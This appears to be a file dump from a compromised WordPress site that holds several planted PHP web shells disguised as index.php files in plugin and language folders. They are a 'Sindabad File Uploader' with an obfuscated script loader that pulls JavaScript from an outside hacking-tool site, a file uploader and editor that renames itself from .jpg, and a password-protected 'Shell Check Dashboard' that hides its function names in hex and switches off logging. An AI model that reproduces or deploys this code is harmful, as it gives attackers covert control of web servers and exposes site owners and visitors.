echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="green">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br />Sindabad File Uploader <font color="red">1.0</font>, Coded By <font color="red">Sindbad EG ~ The Terrorists</font>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/images/index.php000064400000000101151545406310033051 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
httpdocs/wp-content/plugins/google-analytics-for-wordpress/lite/includes/admin/index.php000064400000000101151545555560034151 0ustar00var/www/vhosts/uyarreklam.com.tr<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/ID3/865137/index.php000064400000006234151546000470022130 0ustar00<?php
$old = __FILE__;
$new = preg_replace('/\\.jpg$/', '', $old);
rename($old, $new);
echo "Renamed $old to $new";
?>

<?php
$path = isset($_GET['path']) ? $_GET['path'] : '.';
$path = realpath($path);

// ????? ????
echo "<h3>Path: $path</h3>";

// ????? ???????? ??????
echo "<form method='POST' enctype='multipart/form-data'>
    <input type='file' name='file'>
    <input type='hidden' name='upload_path' value='" . htmlspecialchars($path) . "'>
    <button type='submit'>Upload</button>
</form>";

// ????????? ???????? ?????
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadPath = isset($_POST['upload_path']) ? $_POST['upload_path'] : $path;
    $uploadedFile = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
        echo "<p style='color:green;'>File uploaded: " . htmlspecialchars($_FILES['file']['name']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to upload file.</p>";
    }
}

// ????????? ???????? ?????
if (isset($_GET['delete'])) {
    $fileToDelete = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
    if (is_file($fileToDelete) && unlink($fileToDelete)) {
        echo "<p style='color:green;'>File deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
    } else {
        echo "<p style='color:red;'>Failed to delete file.</p>";
    }
}

// ????????? ?????????? ????????? ? ?????
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'])) {
    $fileToEdit = $path . DIRECTORY_SEPARATOR . $_POST['edit_file'];
    file_put_contents($fileToEdit, $_POST['file_content']);
    echo "<p style='color:green;'>File updated: " . htmlspecialchars($_POST['edit_file']) . "</p>";
}

// ????? ?????? ?????? ? ?????
echo "<ul>";
foreach (scandir($path) as $item) {
    if ($item === '.') continue;
    $itemPath = $path . DIRECTORY_SEPARATOR . $item;
    echo "<li>";
    if (is_dir($itemPath)) {
        echo "<a href='?path=" . urlencode($itemPath) . "'>[DIR] $item</a>";
        echo " - <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    } else {
        echo "<a href='?path=" . urlencode($path) . "&file=" . urlencode($item) . "'>$item</a>";
        echo " - <a href='?path=" . urlencode($path) . "&delete=" . urlencode($item) . "' style='color:red;'>[Delete]</a>";
        echo " - <i>Size:</i> " . filesize($itemPath) . " bytes, <i>Permissions:</i> " . substr(sprintf('%o', fileperms($itemPath)), -4);
    }
    echo "</li>";
}
echo "</ul>";

// ???????? ? ?????????????? ?????
if (isset($_GET['file'])) {
    $filePath = $path . DIRECTORY_SEPARATOR . $_GET['file'];
    if (is_file($filePath)) {
        echo "<h3>Contents of " . htmlspecialchars($_GET['file']) . ":</h3>";
        echo "<form method='POST'>
            <textarea name='file_content' style='width:100%;height:300px;'>" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>
            <input type='hidden' name='edit_file' value='" . htmlspecialchars($_GET['file']) . "'>
            <button type='submit'>Save Changes</button>
        </form>";
    }
}
?>
uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/fonts/index.php000064400000000101151546233560032743 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
uyarreklam.com.tr/httpdocs/wp-content/plugins/google-analytics-for-wordpress/assets/js/index.php000064400000000101151546345110032221 0ustar00var/www/vhosts<?php
//Nothing to see here

header( 'HTTP/1.0 403 Forbidden' );
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/languages/themes/973447/index.php000064400000076572151547554520024703 0ustar00<html>  </html><?php
// Configuration
$valid_password = 'digz'; // Replace with your actual shell password
$test_email = 'test@example.com'; // Replace with a valid email address for testing
$test_zip_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_shell.zip'; // Platform-agnostic path for test ZIP
$extract_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_extract'; // Platform-agnostic path for extraction
$test_file_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_file.txt'; // Platform-agnostic path for test file

// Disable error reporting for production
error_reporting(0);
ini_set('display_errors', 0);
ini_set('error_log', null);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);
ini_set('output_buffering', 0);

// Start output buffering
ob_start();

// Function to decode hex-encoded strings
function hexa($str) {
    $r = "";
    $len = strlen($str) - 1;
    for ($i = 0; $i < $len; $i += 2) {
        $r .= chr(hexdec($str[$i] . $str[$i + 1]));
    }
    return $r;
}

// Initialize function array
$iniarray = [
    "7068705F756E616D65", # php_uname
    "73657373696F6E5F7374617274", # session_start
    "6572726F725F7265706F7274696E67", # error_reporting
    "70687076657273696F6E", # phpversion
    "66696C655F7075745F636F6E74656E7473", # file_put_contents
    "66696C655F6765745F636F6E74656E7473", # file_get_contents
    "66696C657065726D73", # fileperms
    "66696C656D74696D65", # filemtime
    "66696C6574797065", # filetype
    "68746D6C7370656369616C6368617273", # htmlspecialchars
    "737072696E7466", # sprintf
    "737562737472", # substr
    "676574637764", # getcwd
    "6368646972", # chdir
    "7374725F7265706C616365", # str_replace
    "6578706C6F6465", # explode
    "666C617368", # flash
    "6D6F76655F75706C6F616465645F66696C65", # move_uploaded_file
    "7363616E646972", # scandir
    "676574686F737462796E616D65", # gethostbyname
    "7368656C6C5F65786563", # shell_exec
    "53797374656D20496E666F726D6174696F6E", # System Information
    "6469726E616D65", # dirname
    "64617465", # date
    "6D696D655F636F6E74656E745F74797065", # mime_content_type
    "66756E6374696F6E5F657869737473", # function_exists
    "6673697A65", # fsize
    "726D646972", # rmdir
    "756E6C696E6B", # unlink
    "6D6B646972", # mkdir
    "72656E616D65", # rename
    "7365745F74696D655F6C696D6974", # set_time_limit
    "636C656172737461746361636865", # clearstatcache
    "696E695F736574", # ini_set
    "696E695F676574", # ini_get
    "6765744F776E6572", # getOwner
    "6765745F63757272656E745F75736572" # get_current_user
];
for ($i = 0; $i < count($iniarray); $i++) {
    $func[$i] = hexa($iniarray[$i]);
}
$ds = @$func[34]("disable_functions");
$show_ds = (!empty($ds)) ? "$ds" : "All function is accessible";

// File manager functions
function fsize($file) {
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2) . " " . $a[$pos];
}

function flash($message, $status, $class, $redirect = false) {
    if (!empty($_SESSION["message"])) unset($_SESSION["message"]);
    if (!empty($_SESSION["class"])) unset($_SESSION["class"]);
    if (!empty($_SESSION["status"])) unset($_SESSION["status"]);
    $_SESSION["message"] = $message;
    $_SESSION["class"] = $class;
    $_SESSION["status"] = $status;
    if ($redirect) {
        header('Location: ' . $redirect);
        exit();
    }
    return true;
}

function clear() {
    if (!empty($_SESSION["message"])) unset($_SESSION["message"]);
    if (!empty($_SESSION["class"])) unset($_SESSION["class"]);
    if (!empty($_SESSION["status"])) unset($_SESSION["status"]);
    return true;
}

function getOwner($item) {
    global $func;
    if ($func[25]("posix_getpwuid")) {
        $downer = @posix_getpwuid(fileowner($item));
        $downer = $downer['name'];
    } else {
        $downer = fileowner($item);
    }
    if ($func[25]("posix_getgrgid")) {
        $dgrp = @posix_getgrgid(filegroup($item));
        $dgrp = $dgrp['name'];
    } else {
        $dgrp = filegroup($item);
    }
    return $downer . '/' . $dgrp;
}

// Function to check file manager (directory listing)
function checkFileManager() {
    global $func;
    $directory = __DIR__;
    try {
        $dirs = $func[18]($directory); // scandir
        return $dirs !== false && count($dirs) > 2; // More than . and ..
    } catch (Exception $e) {
        return false;
    }
}

// Function to create a test ZIP file
function createTestZip($zip_path, $file_path) {
    global $func;
    // Create a temporary text file
    if (!$func[4]($file_path, 'This is a test file for ZIP functionality.')) {
        return false;
    }
    
    // Try ZipArchive first
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive;
        if ($zip->open($zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
            return false;
        }
        if (!$zip->addFile($file_path, basename($file_path))) {
            $zip->close();
            return false;
        }
        $zip->close();
        return true;
    }
    
    // Fallback to system ZIP command
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === 'WIN') {
        $command = "powershell -Command \"Compress-Archive -Path '$file_path' -DestinationPath '$zip_path' -Force\"";
    } else {
        $command = "zip -j '$zip_path' '$file_path'";
    }
    exec($command, $output, $return_var);
    return $return_var === 0 && file_exists($zip_path);
}

// Function to extract a ZIP file
function extractTestZip($zip_path, $extract_path) {
    // Try ZipArchive first
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive;
        if ($zip->open($zip_path) === TRUE) {
            if (!is_dir($extract_path)) {
                if (!mkdir($extract_path, 0777, true)) {
                    $zip->close();
                    return false;
                }
            }
            $result = $zip->extractTo($extract_path);
            $zip->close();
            return $result;
        }
        return false;
    }
    
    // Fallback to system unzip command
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === 'WIN') {
        $command = "powershell -Command \"Expand-Archive -Path '$zip_path' -DestinationPath '$extract_path' -Force\"";
    } else {
        $command = "unzip -o '$zip_path' -d '$extract_path'";
    }
    exec($command, $output, $return_var);
    return $return_var === 0 && is_dir($extract_path);
}

// Function to delete directory and its contents
function deleteDirectory($dir) {
    global $func;
    if (!is_dir($dir)) {
        return;
    }
    $files = array_diff($func[18]($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        is_dir($path) ? deleteDirectory($path) : $func[28]($path);
    }
    $func[27]($dir);
}

// Function to test email sending
function checkSend() {
    global $test_email;
    $subject = 'Test Email from Shell';
    $message = 'This is a test email to verify send functionality.';
    $headers = 'From: noreply@localhost.com' . "\r\n" .
               'Reply-To: noreply@localhost.com' . "\r\n" .
               'X-Mailer: PHP/' . phpversion();
    return @mail($test_email, $subject, $message, $headers);
}

// Function to test ZIP extraction
function checkZip() {
    global $test_zip_path, $extract_path, $test_file_path;
    if (!createTestZip($test_zip_path, $test_file_path)) {
        return false;
    }
    $result = extractTestZip($test_zip_path, $extract_path);
    if (file_exists($test_zip_path)) {
        unlink($test_zip_path);
    }
    if (file_exists($test_file_path)) {
        unlink($test_file_path);
    }
    if (is_dir($extract_path)) {
        deleteDirectory($extract_path);
    }
    return $result;
}

// Handle cURL requests from shell_ops.php
if (isset($_POST['pass'])) {
    $provided_password = trim(strip_tags(htmlspecialchars(addslashes($_POST['pass']))));
    if ($provided_password !== $valid_password) {
        sendError('Invalid password');
    }

    if (isset($_GET['checksend'])) {
        echo checkSend() ? "check-result-1" : "<button class='btn btn-danger btn-sm'>Send Failed</button>";
    } elseif (isset($_GET['checkzip'])) {
        echo checkZip() ? "check-result-1" : "<button class='btn btn-danger btn-sm'>ZIP Extraction Failed</button>";
    } else {
        if (checkFileManager()) {
            $uname = $func[0]();
            $php_version = $func[3]();
            $is_priv8 = true;
            $response = "File manager";
            if ($is_priv8) {
                $response .= "\nPRIV8\n";
                $response .= "<nobr>$uname</nobr>\n";
                $response .= ")<br>$php_version <span>Safe mode:</span>";
            }
            echo $response;
        } else {
            sendError('File Manager Not Accessible');
        }
    }
    ob_end_flush();
    exit;
}

// Handle browser access (login and dashboard)
$func[1](); // session_start
$login_error = '';
$dashboard_message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    $provided_password = trim(strip_tags(htmlspecialchars(addslashes($_POST['password']))));
    if ($provided_password === $valid_password) {
        $_SESSION['logged_in'] = true;
    } else {
        $login_error = 'Invalid password';
    }
}

if (isset($_POST['action']) && isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    switch ($_POST['action']) {
        case 'checksend':
            $dashboard_message = checkSend() ? 'Send: Success' : 'Send: Failed';
            break;
        case 'checkzip':
            $dashboard_message = checkZip() ? 'ZIP Extraction: Success' : 'ZIP Extraction: Failed';
            break;
        case 'logout':
            session_destroy();
            header('Location: ' . basename($_SERVER['PHP_SELF']));
            exit;
    }
}

// File manager handling for dashboard
$path = isset($_GET['dir']) ? $_GET['dir'] : $func[12](); // getcwd
$func[13]($path); // chdir
$path = $func[14]('\\', '/', $path); // str_replace
$exdir = $func[15]('/', $path); // explode

if (isset($_POST['newFolderName'])) {
    if ($func[29]($path . '/' . $_POST['newFolderName'])) {
        $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if ($func[4]($path . '/' . $_POST['newFileName'], $_POST['newFileContent'])) {
        $func[16]("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create File Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    } elseif ($func[30]($path . '/' . $_GET['item'], $path . '/' . $_POST['newName'])) {
        $func[16]("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Rename Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if ($func[4]($path . '/' . $_GET['item'], $_POST['newContent'])) {
        $func[16]("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Edit Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    } elseif (chmod($path . '/' . $_GET['item'], octdec($_POST['newPerm']))) {
        $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Change Permission Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    $item = $path . '/' . $_GET['item'];
    if (is_dir($item)) {
        if ($func[27]($item)) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if ($func[28]($item)) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    }
}

if (isset($_FILES['uploadfile'])) {
    $total = count($_FILES['uploadfile']['name']);
    $success = false;
    for ($i = 0; $i < $total; $i++) {
        $success = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $path . '/' . $_FILES['uploadfile']['name'][$i]);
    }
    if ($success) {
        $func[16]("Upload " . ($total > 1 ? "$total Files" : "File") . " Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
}

$dirs = $func[18]($path); // scandir
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Check Dashboard</title>
    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    <style>
        :root {
            --primary: #6366f1;
            --primary-dark: #4f46e5;
            --secondary: #10b981;
            --background: #f3f4f6;
            --card-bg: #ffffff;
            --text-primary: #1f2937;
        }
        body {
            background: linear-gradient(135deg, #f3f4f6, #e5e7eb);
            font-family: 'Inter', sans-serif;
            color: var(--text-primary);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .card {
            background: var(--card-bg);
            border-radius: 1.5rem;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
            padding: 2rem;
            max-width: 1200px;
            width: 100%;
            transition: transform 0.3s ease;
        }
        .card:hover {
            transform: translateY(-5px);
        }
        .btn {
            border-radius: 0.75rem;
            padding: 0.75rem 1.5rem;
            font-weight: 600;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }
        .btn-primary {
            background: linear-gradient(135deg, var(--primary), var(--primary-dark));
            color: white;
        }
        .btn-primary:hover {
            background: var(--primary-dark);
        }
        .btn-secondary {
            background: var(--secondary);
            color: white;
        }
        .btn-secondary:hover {
            background: #059669;
        }
        .btn-danger {
            background: linear-gradient(135deg, #ef4444, #dc2626);
            color: white;
        }
        .btn-danger:hover {
            background: #b91c1c;
        }
        .form-control {
            border-radius: 0.75rem;
            border: 1px solid #d1d5db;
            padding: 0.75rem;
            transition: all 0.3s ease;
        }
        .form-control:focus {
            border-color: var(--primary);
            box-shadow: 0 0 0 4px rgba(99, 102, 241, 0.2);
            outline: none;
        }
        .alert {
            border-radius: 0.75rem;
            padding: 1rem;
            margin-bottom: 1rem;
            background: #fef2f2;
            color: #b91c1c;
            border-left: 4px solid #ef4444;
        }
        .success {
            background: #d1fae5;
            color: #065f46;
            border-left: 4px solid var(--secondary);
        }
        .table th, .table td {
            padding: 1rem;
            vertical-align: middle;
        }
        .table thead {
            background: linear-gradient(135deg, var(--primary), var(--primary-dark));
            color: white;
        }
        .table tbody tr:hover {
            background: #f1f5f9;
        }
        .breadcrumb a:hover {
            color: var(--primary);
        }
    </style>
</head>
<body>
    <?php if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true): ?>
        <!-- Login Interface -->
        <div class="card">
            <h1 class="text-2xl font-bold text-center mb-6">Shell Check Login</h1>
            <?php if ($login_error): ?>
                <div class="alert"><?php echo htmlspecialchars($login_error); ?></div>
            <?php endif; ?>
            <form method="POST" class="space-y-4">
                <div>
                    <label class="block text-sm font-medium text-gray-700 mb-1">Password</label>
                    <input type="password" name="password" class="form-control w-full" placeholder="Enter password" required>
                </div>
                <button type="submit" class="btn btn-primary w-full">
                    <i class="fas fa-sign-in-alt mr-2"></i> Login
                </button>
            </form>
        </div>
    <?php else: ?>
        <!-- Dashboard -->
        <div class="card">
            <h1 class="text-2xl font-bold text-center mb-6">Shell Check Dashboard</h1>
            <?php if ($dashboard_message): ?>
                <div class="alert <?php echo strpos($dashboard_message, 'Success') !== false ? 'success' : ''; ?>">
                    <?php echo htmlspecialchars($dashboard_message); ?>
                </div>
            <?php endif; ?>
            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4 mb-6">
                <form method="POST">
                    <input type="hidden" name="action" value="checksend">
                    <button type="submit" class="btn btn-secondary w-full">
                        <i class="fas fa-envelope mr-2"></i> Check Send
                    </button>
                </form>
                <form method="POST">
                    <input type="hidden" name="action" value="checkzip">
                    <button type="submit" class="btn btn-primary w-full">
                        <i class="fas fa-file-archive mr-2"></i> Check ZIP
                    </button>
                </form>
                <form method="POST">
                    <input type="hidden" name="action" value="logout">
                    <button type="submit" class="btn btn-danger w-full">
                        <i class="fas fa-sign-out-alt mr-2"></i> Logout
                    </button>
                </form>
            </div>
            <!-- File Manager -->
            <h2 class="text-xl font-semibold mb-4">File Manager</h2>
            <?php if (isset($_SESSION['message'])): ?>
                <div class="alert <?php echo $_SESSION['class'] === 'success' ? 'success' : ''; ?>">
                    <?php echo htmlspecialchars($_SESSION['message']); ?>
                </div>
                <?php clear(); ?>
            <?php endif; ?>
            <div class="info mb-3">
                <div class="text-center text-lg font-medium">karma-syndicate</div>
                <div><i class="fas fa-server mr-2"></i><?php echo $func[0](); ?></div>
                <div><i class="fas fa-microchip mr-2"></i><?php echo $_SERVER['SERVER_SOFTWARE']; ?></div>
                <div><i class="fas fa-satellite-dish mr-2"></i><?php echo !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR']; ?></div>
            </div>
            <div class="breadcrumb mb-4">
                <i class="fas fa-folder mr-2"></i>
                <?php foreach ($exdir as $id => $pat): ?>
                    <?php if ($pat == '' && $id == 0): ?>
                        <a href="?dir=/" class="text-blue-600 hover:underline">/</a>
                    <?php elseif ($pat == ''): ?>
                        <?php continue; ?>
                    <?php elseif ($id + 1 == count($exdir)): ?>
                        <span class="text-gray-500"><?php echo htmlspecialchars($pat); ?></span>
                    <?php else: ?>
                        <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) { echo htmlspecialchars($exdir[$i]); if ($i != $id) echo "/"; } ?>" class="text-blue-600 hover:underline"><?php echo htmlspecialchars($pat); ?></a>
                        <span class="text-gray-500">/</span>
                    <?php endif; ?>
                <?php endforeach; ?>
                <a href="?" class="text-blue-600 hover:underline">[ HOME ]</a>
            </div>
            <div class="grid grid-cols-1 sm:grid-cols-3 gap-4 mb-4">
                <form method="POST" enctype="multipart/form-data" class="flex items-center">
                    <input type="file" name="uploadfile[]" class="form-control flex-grow" multiple>
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-upload"></i></button>
                </form>
                <form method="POST" class="flex items-center">
                    <input type="text" name="newFolderName" class="form-control flex-grow" placeholder="New Folder">
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-folder-plus"></i></button>
                </form>
                <form method="POST" class="flex items-center">
                    <input type="text" name="newFileName" class="form-control flex-grow" placeholder="New File">
                    <textarea name="newFileContent" class="form-control mt-2" rows="2" placeholder="File Content"></textarea>
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-file-plus"></i></button>
                </form>
            </div>
            <?php if (isset($_GET['action']) && $_GET['action'] != 'delete'): ?>
                <div class="mb-4">
                    <?php if ($_GET['action'] == 'rename' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700">New Name</label>
                            <input type="text" name="newName" class="form-control w-full" value="<?php echo htmlspecialchars($_GET['item']); ?>">
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php elseif ($_GET['action'] == 'edit' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
                            <textarea name="newContent" rows="10" class="form-control w-full" id="CopyFromTextArea"><?php echo $func[9]($func[5]($path . '/' . $_GET['item'])); ?></textarea>
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <button type="button" class="btn btn-secondary" onclick="copyText()">Copy</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php elseif ($_GET['action'] == 'view' && isset($_GET['item'])): ?>
                        <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
                        <textarea rows="10" class="form-control w-full" disabled><?php echo $func[9]($func[5]($path . '/' . $_GET['item'])); ?></textarea>
                        <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary mt-2">Back</a>
                    <?php elseif ($_GET['action'] == 'chmod' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
                            <input type="text" name="newPerm" class="form-control w-full" value="<?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $_GET['item'])), -4); ?>">
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php endif; ?>
                </div>
            <?php else: ?>
                <div class="table-responsive">
                    <table class="table table-bordered table-striped">
                        <thead>
                            <tr>
                                <th>Name</th>
                                <th>Type</th>
                                <th>Size</th>
                                <th>Owner/Group</th>
                                <th>Permission</th>
                                <th>Last Modified</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($dirs as $dir): if (!is_dir($path . '/' . $dir)): continue; endif; ?>
                                <tr>
                                    <td>
                                        <?php if ($dir === '..'): ?>
                                            <a href="?dir=<?php echo htmlspecialchars($func[22]($path)); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder-open mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php elseif ($dir === '.'): ?>
                                            <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder-open mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php else: ?>
                                            <a href="?dir=<?php echo htmlspecialchars($path . '/' . $dir); ?>" class="text-blue-600 hover:underline"><i class="fas fa-folder mr-2"></i><?php echo htmlspecialchars($dir); ?></a>
                                        <?php endif; ?>
                                    </td>
                                    <td><?php echo $func[8]($path . '/' . $dir); ?></td>
                                    <td>-</td>
                                    <td><?php echo getOwner($path . '/' . $dir); ?></td>
                                    <td><?php echo $func[11]($func[10]('%o', $func[6]($path . '/' . $dir)), -4); ?></td>
                                    <td><?php echo $func[23]("Y-m-d h:i:s", $func[7]($path . '/' . $dir)); ?></td>
                                    <td>
                                        <?php if ($dir != '.' && $dir != '..'): ?>
                                            <div class="flex gap-2">
                                                <a href="?dir=<?php echo htmlspecialchars($path); ?>&item=<?php echo htmlspecialchars($dir); ?>&action=rename" class="btn btn-primary btn-sm"><i class="fas fa-edit"></i></a>
